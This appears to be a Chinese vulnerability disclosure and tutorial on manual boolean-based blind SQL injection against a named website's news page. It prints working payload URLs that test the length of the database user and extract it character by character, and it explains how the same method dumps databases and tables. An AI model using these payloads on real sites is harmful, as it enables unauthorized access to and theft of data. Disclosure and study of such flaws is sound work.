简要描述：

主站sql盲注，今天来一个手工盲注,兄弟们也来学学手工盲注，丫的，手工测试真慢.

详细说明：

1.测试验证是否mysql

0x0.jpg

0x1.jpg


2.测试有多少表

a.jpg


b.jpg


448张表
3.查询一下当前用户长度
http://www.dodonew.com/news_detail.jsp?newsid=601 And (select length(user()))=12 返回正常页面
长度12位
4.爆当前用户

c0.jpg

c1.jpg

c2.jpg

c3.jpg


然后一直用SUBSTR函数截取的位置加1，把所有的ascii码判断出来，最后将ascii码转换字符串
下面是所有测试结果

http://www.dodonew.com/news_detail.jsp?newsid=601 And (select ASCII(SUBSTR(user(),7,1)))>99 true

最后看当前mysql用户：[email protected]
爆库爆表都这个原理，先判断字段长度，然后截取每一位转换ascii码，判断大小，最后转换ascii吗，得到字符
你看懂了吗，boolean型盲注，如果没懂，建议学学数据库查询
手工注入原理，先要了解sql语法，只要学会了sql语法，手工注入不在是梦
最后提升，测试sqlmap，havij，pangolin这些注入工具都是注入不了的
